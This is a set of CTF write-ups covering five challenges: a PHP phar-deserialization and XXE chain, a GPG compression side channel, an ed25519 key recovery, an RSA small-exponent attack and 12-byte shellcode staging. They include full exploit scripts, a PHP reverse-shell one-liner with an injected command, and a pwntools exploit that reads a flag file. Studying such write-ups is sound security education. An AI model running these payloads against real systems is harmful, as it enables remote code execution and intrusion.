-
Midnightsunctf Rubenscube
This task provided a file upload for images. After looking at the robots.txt we saw that a file “source.zip” exists in which the source code of the app is stored.
The upload functionality is implemented as:
<?php session_start(); function calcImageSize($file, $mime_type) { if ($mime_type == "image/png"||$mime_type == "image/jpeg") { $stats = getimagesize($file); // Doesn't work for svg... $width = $stats[0]; $height = $stats[1]; } else { $xmlfile = file_get_contents($file); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $svg = simplexml_import_dom($dom); $attrs = $svg->attributes(); $width = (int) $attrs->width; $height = (int) $attrs->height; } return [$width, $height]; } class Image { function __construct($tmp_name) { $allowed_formats = [ "image/png" => "png", "image/jpeg" => "jpg", "image/svg+xml" => "svg" ]; $this->tmp_name = $tmp_name; $this->mime_type = mime_content_type($tmp_name); if (!array_key_exists($this->mime_type, $allowed_formats)) { // I'd rather 500 with pride than 200 without security die("Invalid Image Format!"); } $size = calcImageSize($tmp_name, $this->mime_type); if ($size[0] * $size[1] > 1337 * 1337) { die("Image too big!"); } $this->extension = "." . $allowed_formats[$this->mime_type]; $this->file_name = sha1(random_bytes(20)); $this->folder = $file_path = "images/" . session_id() . "/"; } function create_thumb() { $file_path = $this->folder . $this->file_name . $this->extension; $thumb_path = $this->folder . $this->file_name . "_thumb.jpg"; system('convert ' . $file_path . " -resize 200x200! " . $thumb_path); } function __destruct() { if (!file_exists($this->folder)){ mkdir($this->folder); } $file_dst = $this->folder . $this->file_name . $this->extension; move_uploaded_file($this->tmp_name, $file_dst); $this->create_thumb(); } } new Image($_FILES['image']['tmp_name']); header('Location: index.php');
The first issue we discovered was that the deserialization of an svg image allows external entities. So we tried to upload an svg image with an external entity which uses an expect statment. This should execute the command provided in it on the server. The problem is that php needs a specific module to interpret the expect statement, which was not installed.
Also interesting is that ‘system’ is directly called to convert the images. Unfortunately we have no control over the parameter. After hours of search we found out that we can ‘disguise’ a phar archive as an jpeg image, which we now can upload to the server. The important part comes now. We are able to provide a serialized object in the metadata of the phar archive and we have full control over the attributes of this object. When the object gets deserialized it will get instantly destroyed by the garbage collector and so the ‘__destruct()’ method gets called. Therefore we can set the ‘$folder’ attribute of the Image object to run abitrary commands on the host system.
To activate the phar archive we can use the stream wrapper ‘phar://’ which we can provide as an external entity of an svg image.
This is our script to create the phar archive:
<?php $jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03". "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11". "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20". "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda". "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; $phar = new Phar("exploit.phar"); $phar['exp.php'] = '<?php system(\'php -r \\\'$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");\\\'\');?>'; $phar->startBuffering(); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class Image {} $o = new Image(); $o->folder = " | php -r '\$sock=fsockopen(\"<ip of server>\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");' | "; $phar->setMetadata($o); $phar->stopBuffering();
The code of the ‘exp.php’ file inside this archive will not get executed and is just an artifact of one of our attempts. But there has to be one php file inside the phar archive which we can access via the stream wrapper.
Let’s see what ‘file’ has to say about the archive.
$ php pack.php $ file exploit.phar exploit.phar: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
The archive is in fact recognized as a jpeg image.
Now we crafted an svg image with external entities which should trigger the phar archive.
<?xml version="1.0" standalone="yes"?> <!DOCTYPE convert [ <!ENTITY % payl SYSTEM "phar://images/cb8v42f3sfisnad6piq9sl23u7/f79556d9bf3197276c38c26bdbaba9511103ac93.jpg/exp.php">%payl;]> <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40"></text></svg>
The path used in the svg image can be found in the gallery. After uploading this svg image the reverse shell got initiated and we could get the flag
flag{R3lying_0n_PHP_4lw45_W0rKs}
-
InsomnihackCTF 2019 - drinks
In this task we’re given an IP, a port and the source code of the service.
The service offers a JSON based API:
from flask import Flask,request,abort import gnupg import time app = Flask(__name__) gpg = gnupg.GPG(gnupghome="/tmp/gpg") couponCodes = { "water": "WATER_2019", "beer" : "" # REDACTED } @app.route("/generateEncryptedVoucher", methods=['POST']) def generateEncryptedVoucher(): content = request.json (recipientName,drink) = (content['recipientName'],content['drink']) encryptedVoucher = str(gpg.encrypt( "%s||%s" % (recipientName,couponCodes[drink]), recipients = None, symmetric = True, passphrase = couponCodes[drink] )).replace("PGP MESSAGE","DRINK VOUCHER") return encryptedVoucher @app.route("/redeemEncryptedVoucher", methods=['POST']) def redeemEncryptedVoucher(): content = request.json (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase']) # Reluctantly go to the fridge... time.sleep(15) decryptedVoucher = str(gpg.decrypt( encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"), passphrase = passphrase )) (recipientName,couponCode) = decryptedVoucher.split("||") if couponCode == couponCodes["water"]: return "Here is some fresh water for %s\n" % recipientName elif couponCode == couponCodes["beer"]: return "Congrats %s! The flag is INS{ %s}\n" % (recipientName, couponCode) else: abort(500) if __name__ == "__main__": app.run(host='0.0.0.0')
This service encrypts a user generated string concatinated with
||
and the encryption key.The goal here was to find the de-/encryption key of the beer voucher.
The code is using a wrapper for the GnuPGP library. The corresponding RFC says, PGP is using a block cipher in CFB mode. Since we didn’t see how we could directly attack this service, we were buffeled for a bit.
We decided to find out the length of the encryption key, since it might be to short. To do so, we send the service
receipientName
s with an increasing amount ofA
s. To our surprise, the ciphertext size didn’t increase per character.This means, OpenPGP uses compression before encrypting the data! This opens the door for a compression side channel!
Since we control what comes before the encryption key, we can try out different characters. Everytime we get a shorter ciphertext, we know another character of the key, since our
receipientName
got compressed together with the key. Because the compression starts at a size of three bytes, we can start our search with||A
. This would result in the text||A||$SECRET_KEY
, which should be compressed (and therefore shorter) if the$SECRET_KEY
starts with an A.The exploit script (see below) first determines a maximum ciphertext length by sending a non-compressible 40 byte string to the service. Then it tries out new characters by appending them to the known key string (in the beginning
||
) and filling the remaining 40 bytes with non compressible data. Everytime a ciphertext shorter than the previous one is received, we know another byte of the key!The exploit script is not optimal (CTF code quality…), since it doesn’t necessarily find the patterns in correct order.
Running it the first time gave us the key
G1M_V3RY_TH1RSTY
, which seems wierd and also didn’t work for decryption. Forbidding the first underline, it would give us the keyG1MME_B33RY_TH1RSTY
, which also doesn’t make sense. This is because the key contains repeating patterns (e.g.B33RY
compresses, just asB33R_
because of the wordV3RY
).To fix this we’d need a more sophisticated approach, storing all candidate characters… But it was 3 a.m. and we were tired. So we just fixed the prefix to
||G1MME_B33R_
which seemed reasonable.This worked and gave us:
p3 explcry.py [...] ||G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY
Which is the flag.
Full Exploit Script:
import os import random import base64 import requests import string SEARCHSP = list("_" + string.printable[:-6]) PAD = string.ascii_lowercase + "!§$%&()=?-:;#'+*<>|" MAX_LEN = 40 for c in PAD: if c in SEARCHSP: SEARCHSP.remove(c) def gen_pad(l): a = random.randint(0, len(PAD)-l) return PAD[a:a+l] def convert_to_hex(p): return base64.b64decode("".join(p.split("\n")[2:-3])).hex() def get_enc(recipient, drink): r=requests.post('http://localhost:5000/generateEncryptedVoucher',json={'recipientName': recipient, 'drink': drink}) return r.text def get_uncompressed_len(PREFIX): while True: l_high_ent = [] for i in range(20): l_high_ent.append(convert_to_hex(get_enc(PREFIX + gen_pad(MAX_LEN - len(PREFIX)), "beer"))) len_ct = len(l_high_ent[0]) for p in l_high_ent: if len(p) != len_ct: break else: break return len_ct KNOWN = "||G1MME_B33R_" len_ct = get_uncompressed_len(KNOWN) print("Ciphertext len without compression: ", len_ct) num = 0 for _ in range(26): for c in string.ascii_uppercase + "_0123456789": pw = KNOWN + c + PAD[:MAX_LEN - len(KNOWN) - 1] test = convert_to_hex(get_enc(pw, "beer")) num += 1 if len(test) < len_ct: len_ct = len(test) print(len(test)) KNOWN += c print(KNOWN) break print(KNOWN)
-
hxpCTF 2018 - uff
This challenge came with c code and this description:
The crypto_sign function is designed to meet the standard notion of unforgeability for a public-key signature scheme under chosen-message attacks.
The code implements a service that creates 8 random key pairs for ed25519, it then lets you sign up to 1000 arbitrary messages. The keys used for signing can be chosen by us, by supplying the respective public key. The output looked like this:
./hxpcry [0] Welcome to the Ed25519 existential forgery game! Enjoy and good luck. public key: 0609355a5505f116b6232dfc4aaedf99fef2c03376dc05f782e2b5f26454b353 public key: d24d6a7e6da062de8b0bf8b9f0efcb7617c6d6c44027af1d1e052359a80bf36d public key: 7cf253c5667ea674ec4675a49731b3c58ee72e633212d8df05a44f9f2160bf63 public key: 3afe84a3480cae670d27363966929dd6d879981116b20600c50494378d84acb6 public key: 9c806c7bd9a890c43b2b89dc9ebe091888345ed958ef5f2fa60b42e8feb9fa98 public key: 909ec9496a787af72e444d314eb1c4910950ca7b757240a017149d7872bd6d55 public key: 816f1e428660418f942fec895e6fb75fc3db41c650578e636593e0c800064c6d public key: d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592 public key> d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592 length> 1 message> aa signed: d06d3f94beea2e8e71fbeb74f0558c92bea4121e666f35585544829b57b274d97c39da375c3b2333103f39bff3a5d1f2b48990d33473c4cac3ad8b78bc145409aa public key> [...] forgery> FORGED_SIGNATURE
If we manage to supply a valid signature for any of the given public keys and an arbitrary message (that we haven’t submitted to the service) the flag will be printed.
C and strings
As it can be seen by the includes, the library uses djb’s tweetnacl library. Knowing that this library probably has no direct vulnerability, we looked at the provided C file. In C it is extermely easy to screw up string handling or buffer sizes. Since the authors layed some false trails, it took us a bit to find the actually pretty obvious bug.
The code reads in the provided public key:
printf("public key> "); fflush(stdout); if (sizeof(pk) != read_hex(pk, sizeof(pk)) || K == (idx = find(pk))) break;
and checks if the given public key is in the list of public keys via the
find
function. If the public key is in the list, it then uses the user supplied public key within the signing function (along with its private key).printf("signed: "); print_hex(m, sign(m, n, keys[idx].sk, pk)); printf("\n");
The
find
function looks like this:unsigned find(unsigned char const *pk) { unsigned idx; for (idx = 0; idx < K; ++idx) if (!strncmp(pk, keys[idx].pk, 32)) break; return idx; }
It uses
strncmp
to compare the user supplied public key to the one stored in its internal list.Since strncmp only compares until the first null byte (the string terminator in C), we could wait until the service gives us a public key that contains a null byte.
From that null byte on, we could submit different bytes for the public key and it would still be used during signing.
So if we get an output like this:
Welcome to the Ed25519 existential forgery game! Enjoy and good luck. [...] 22bfe776234f54e70fead863c49b13ece4ed218e00e201426618e1af551216c6 [...] public key>
We could submit the correct public key
22bfe776234f54e70fead863c49b13ece4ed218e00e201426618e1af551216c6
, but we could also submit22bfe776234f54e70fead863c49b13ece4ed218e00aaaaaaaaaaaaaaaaaaaaaa
. The service would use both public keys with the same private key to sign our messages.But why does this matter?
ed25519
The services signs our messages using the libraries ed25519 implementation. Ed25519 is a edDSA scheme, so basically a Schnorr signature on a twisted elliptic edwards curve.
An edDSA signature consists of two parts , where R is a curve point and S a scalar. R is calculated as , with r beeing essentially a random value (it’s not actually random, it’s deterministic, but it serves as a random value) . B is the defined base point, H a one way hash function and k is the private key. Check out the linked Wikipedia article for the exact parameters of ed25519.
The S of the signature is calculated as follows:
The secret r is added to the hash of R, the public key A, and the message multiplied by the secret s (derived from the private key).
So if we manage to sign the same message two times, using the same private key, but two different public keys we would get the following equations:
and
For these two equations, we have all the variables, except for the secret key s. Given this secret key s, we could just sign messages our selves.
The secret s can easily be calculated:
Note that this calculation is done modulo, so it actually reads like this:
Putting it together
So the exploit works as follows:
- Connect to the service until it gives us a public key containing a null byte
- Use this public key to create a wrong public key (differs after the null byte)
- Request two signatures for the same message using the differnt public keys
- Calculate the secret s
- Sign a message of our choice and submit it
- Enjoy the flag
The final exploit can be found here. It uses the pure25519 python lib by Brian Warner.
Running the exploit gives us:
[+] Opening connection to 159.69.218.92 on port 25519: Done ('Found weak key', '\x14\xec5\xb3\x04]\x05\x12Ss\xaf\xdb\xbaj\xf6\x00\xf2\xa5QV\xd4~\x9a\xe9\x1f\x0b\x90\x88\xd2\xd7*+') ('Signature: ', 'cfa1a0255fb0cdab6c8183a68674e7755f2d04f0990fc67e5cbd4bea9e6661df81da90f1ef2ee990f8c6ff4f970d7955b595691a0e6d135a4a1ab7c964f63c03') hxp{Th3_m0sT_f00lpr00f_sYsT3m_br34kz_1f_y0u_4bU5e_1t_h4rD_eN0u9h} [*] Closed connection to 159.69.218.92 port 25519
\o/
-
hxpCTF 2018 - daring
Daring was a pretty straight forward entry level task of this years hxp CTF.
We’re giving this python script:
#!/usr/bin/env python3 import os from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto.Util import Counter from Crypto.PublicKey import RSA flag = open('flag.txt', 'rb').read().strip() key = RSA.generate(1024, e=3) open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n') open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big')) key = SHA256.new(key.exportKey('DER')).digest() open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))
as well as the public key and the encrypted files rsa.enc and aes.enc.
Since AES is used in counter mode, we know that the flag is 43 bytes long.
Looking at the RSA encryption we see two things:
- Small exponent (3)
- The flag is padded with trailing null bytes
Since we know the size of the flag, we can just multiply the cipher text with the encryption of the multiplicative inverse of the padding (0x100000000…).
The result would be (with m=flag and p=padding):
For a small m, we should be able to simply compute the third root of the resulting ciphertext. Since m is small we don’t need to worry about the modulus N.
Unfortunately its not quite that simple, because the flag is one byte too long for this to work.
There are multiple ways to still make this work.
I decided to just cancel out some factor of the number that represents the flag. To do this, I just ran a loop multiplying the cipher text with the inverse of this factor, taking the cube root, then multiply by this factor.
Once we hit a factor x of the flag, we get the number z:
This number should be short enough for us to be able to take the cube root, then multiply it by the factor x:
The exploit looks like this:
from Crypto.PublicKey import RSA import gmpy2 pubkey = RSA.import_key(open("pubkey.txt").read()) rsa_enc = int.from_bytes(open("rsa.enc", "rb").read(), "big") flag_len = 43 for factor_candidate in range(10000): r = gmpy2.invert(2**((128 - flag_len)*8), pubkey.n) try: fac_r = gmpy2.invert(factor_candidate, pubkey.n) except Exception: continue enc_r = pow(r, pubkey.e, pubkey.n) enc_fac = pow(fac_r, pubkey.e, pubkey.n) new_enc = (rsa_enc * enc_r * enc_fac) % pubkey.n root, succ = gmpy2.iroot(new_enc, pubkey.e) res = int.to_bytes(int(root) * factor_candidate, 100, "big") if b"hxp" in res: print("factor {}: {}".format(factor_candidate, res[-43:])) break
And gives us:
factor 83: b'hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}'
\o/
-
Pwn2Win 2018 Minishell
We are allowed to directly execute x64 shellcode in a r/x mmapped region, however only up to a Size of 12 Bytes. And there was seccomp enabled, so we only had
mprotect
,read
,write
,open
and a few other syscalls available. We cannot read the flag with only 12 Bytes available, so we must somehow reread additional shellcode. Therefore we must get our mempage writable again. And afterwards we need to read some shellcode in there, overwriting our currently executed shellcode.Step1: Making the mempage writable
As the last function call before jumping into our shellcode was mprotect, most of the registers luckily were already set correctly. As we want to call mprotect by syscall, our shellcode therefore only needs to set rax = 10 (for mprotect) and rdx = 7 (for r/w/x rights).
; already set correctly : rdi = our mempage base addr, rsi = mempage size mov al, 10 mov dl, 7 syscall
This will result in 6 Bytes of shellcode. Also, after successfull execution, rax will be set to zero, the syscall number of read!
Step2: Reading
Now we need to read from stdin, rax is already set to 0 (the id of read). For the parameters we need to get rdi = 0 (for stdin), rsi = rdi (rdi contains our mempage addr), rdx = the amount we want to read. My first try was something like:
mov rsi, rdi mov rdi, rax mov dl, 0xff syscall
Which will result in 10 Bytes of additional shellcode, way too much, we need to get it into 6 Bytes. Therefore we can do some optimisations. For example the
mov rsi, rdi
operation (3 Bytes in size) can as well be expressed aspush rdi; pop rsi
(2 Bytes in size). By completely removing the assignment of the rdx register, we will get a 6 Byte read shellcoode.push rdi pop rsi push rax pop rdi syscall
We now can read into our own mempage. However, rdx is still 7 from the last call, so this doesn’t help us at all, we will return right into nothing after the read syscall. We need to read more.
Step3: Mmap protection flags
As we want to get rdx > 7, we could just try to set it to some arbitrary value right before the mprotect syscall. But then mprotect will fail with EINVAL. So let’s check wich flags we have available to use the syscall correctly and get rdx > 7.
/* mman-common.h */ #define PROT_READ 0x1 /* page can be read */ #define PROT_WRITE 0x2 /* page can be written */ #define PROT_EXEC 0x4 /* page can be executed */ #define PROT_SEM 0x8 /* page may be used for atomic ops */ #define PROT_NONE 0x0 /* page can not be accessed */
A PROT_SEM flag. Interesting. So setting rdx = 15 would work, we could read 3 additional Bytes and overwrite our whole current shellcode + 3. Those additional 3 Bytes are sufficient to do a
jmp rsi
. From there on it is a piece of cake, with that much space available, we can read an arbitrary amount of shellcode into memory and finally get our flag.Full exploit code:
from pwn import * context.clear(arch='amd64') stage1 = """ mov al, 10 mov dl, 15 syscall push rdi pop rsi push rax pop rdi syscall """ stage1 = asm(stage1) assert len(stage1) <= 12 stage2 = """ mov dx, 0x1000 xor rax, rax syscall """ stage2 = asm(stage2) assert len(stage2) <= 12 stage2 = stage2.ljust(12, asm('nop')) + asm('jmp rsi') assert len(stage2) <= 15 stage3 = "nop\n" * 15 stage3 += pwnlib.shellcraft.open('/home/minishell/flag.txt') stage3 += pwnlib.shellcraft.read('rax', 'rsp', 0x1000) stage3 += pwnlib.shellcraft.write(1, 'rsp', 'rax') stage3 = asm(stage3) # r = remote('localhost', 6666) r = remote('200.136.252.34', 4545) if __name__ == '__main__': r.recvuntil('? ') r.send(stage1) r.recvuntil('!\n') r.send(stage2) r.send(stage3) r.interactive() # CTF-BR{s0000_t1ght_f0r_my_B1G_sh3ll0dE_}
The PATH wasn’t set, so just opening
flag.txt
did not work. Had to read/etc/passwd
to find out the home path.